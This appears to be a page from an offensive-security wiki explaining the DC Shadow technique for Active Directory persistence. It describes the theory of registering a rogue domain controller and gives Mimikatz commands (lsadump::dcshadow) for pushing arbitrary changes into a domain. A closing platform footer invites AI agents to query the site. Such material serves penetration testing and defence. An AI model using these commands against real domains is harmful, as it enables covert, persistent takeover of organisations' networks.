> For the complete documentation index, see [llms.txt](https://legacy.thehacker.recipes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://legacy.thehacker.recipes/a-d/persistence/dcshadow.md).

# DC Shadow

They told me I could be anything I wanted ... So I became a domain controller

## Theory

The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. **Be registered as a DC in the domain**: this is done by 
   1. modifying the computer's SPN (`ServicePrincipalName`) to `GC/$HOSTNAME.$DOMAIN/$DOMAIN`
   2. adding an entry like `CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN` with the following attribute values:
      * `objectClass: server`
      * `dNSHostName: $HOSTNAME.$DOMAIN`
      * `serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN`
2. **Be able to request and/or respond to specific RPC calls**: `DRSBind`, `DRSUnbind`, `DRSCrackNames,` `DRSAddEntry`, `DRSReplicaAdd`, `DRSReplicaDel`, `DRSGetNCChanges`.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC
   1. add the required entry in `CN=Configuration`
   2. modify the workstation's SPN
2. Prepare the changes to be pushed onto the domain (with calls to `DRSAddEntry`)
3. Push the changes by forcing another legitimate DC to replicate from the workstation with a `DRSReplicaAdd` call, which automatically makes a `DRSGetNCChanges` call from the legitimate DC to the shadow DC.
4. Unregister the workstation so it is not longer considered to be a DC (by a `DRSReplicaDel` call and by reverting changes made to `CN=Configuration` and the workstation's SPN). 

<figure><img src="https://2817308836-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHRw3PMJtbDDjbxm5ub%2Fuploads%2FCRrLjjrAPO07JNC3Mt3N%2Fimage.png?alt=media&amp;token=37a76ea8-3492-4edb-84da-547de2674d86" alt=""><figcaption><p>(step 1.1) add the entry to <code>CN=Configuration</code></p></figcaption></figure>

<figure><img src="https://2817308836-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHRw3PMJtbDDjbxm5ub%2Fuploads%2FPWDmd6pEFP9GrgnWkJLK%2Fimage.png?alt=media&amp;token=88f12230-7d77-4eba-bc49-2c17ad88812a" alt=""><figcaption><p>(step 1.2) modify the workstation's SPN</p></figcaption></figure>

<figure><img src="https://2817308836-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHRw3PMJtbDDjbxm5ub%2Fuploads%2F6Igf1HBvHz2eyPgDtGGi%2Fimage.png?alt=media&amp;token=caeabb00-e539-4458-96fb-fb8f969e459c" alt=""><figcaption><p>An example of DRSUAPI traffic for a successful DC Shadow attack </p></figcaption></figure>

It is important to note that this technique can be used as a "meta" one, in the sense that it permits to use other persistence techniques, such as [SID History](/a-d/persistence/sid-history.md) , [Delegation to KRBTGT](/a-d/persistence/kerberos/delegation-to-krbtgt.md) and even [DACL abuse](/a-d/persistence/access-controls.md).

For instance, a DC Shadow attack can be conducted to register a controlled workstation as a domain controller, and then use that to push changes to the domain that would expose it to DACL abuse.

<figure><img src="https://2817308836-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MHRw3PMJtbDDjbxm5ub%2Fuploads%2FVYFlPSfTcf7Kn1zdrwt6%2Fimage.png?alt=media&amp;token=7658679e-69c7-4273-a84c-28ffd6639e3d" alt=""><figcaption><p>"leHack 2023 - Un conseil, brûlez tout" by Charlie Bromberg and Volker Carstein</p></figcaption></figure>

## Practice

{% tabs %}
{% tab title="UNIX-like" %}
{% hint style="danger" %}
*July 27th 2023* : There is currently no way to exploit this technique purely from a distant UNIX-like machine, as it requires some tools that have yet to be made.
{% endhint %}
{% endtab %}

{% tab title="Windows" %}
DC Shadow can be performed by using Mimikatz. It works in every 64-bits Windows Server version up to 2022 (included). Everything happens on the workstation that will act as the shadow DC.

Two Mimikatz shells are required:

* one with domain admin privileges (called the **trigger shell** from now on)
* one as `NT-AUTHORITY\SYSTEM` (called the **RPC shell** from now on)

### Preparing shells

{% code overflow="wrap" %}

```
# In a mimikatz shell, launched with DA rights
# This will be the trigger shell
privilege::debug

# The following command will open a new mimikatz shell as NT-AUTHORITY\SYSTEM
# This will be the RPC shell
process::runp

# On both shell, run the following command to confirm permissions
# On the trigger shell, it will return the domain admin account name (used to lauch the first mimikatz shell)
# On the RPC shell, it will return NT-AUTHORITY\SYSTEM
token::whoami
```

{% endcode %}

### Preparing changes to push

{% code overflow="wrap" %}

```
# (RPC shell)
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute
```

{% endcode %}

### Pushing changes

{% code overflow="wrap" %}

```
# (Trigger shell)
# The command below will register the shadow DC, push the changes, and unregister
lsadump::dcshadow /push
```

{% endcode %}

See the [`lsadump::dcshadow`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcshadow) at The Hacker Tools for more info.
{% endtab %}
{% endtabs %}

## Talk

{% file src="/files/GpDpspHW6uR5Hk8E7G2f" %}

## Resources

{% embed url="<https://www.dcshadow.com/>" %}

{% embed url="<https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcshadow>" %}

{% embed url="<https://stealthbits.com/blog/creating-persistence-dcshadow/>" %}

{% embed url="<https://blog.netwrix.com/2022/09/28/dcshadow_attack/>" %}

{% embed url="<https://www.netwrix.com/how_dcshadow_persistence_attack_works.html>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d2435927-0999-4c62-8c6d-13ba31a52e1a>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://legacy.thehacker.recipes/a-d/persistence/dcshadow.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.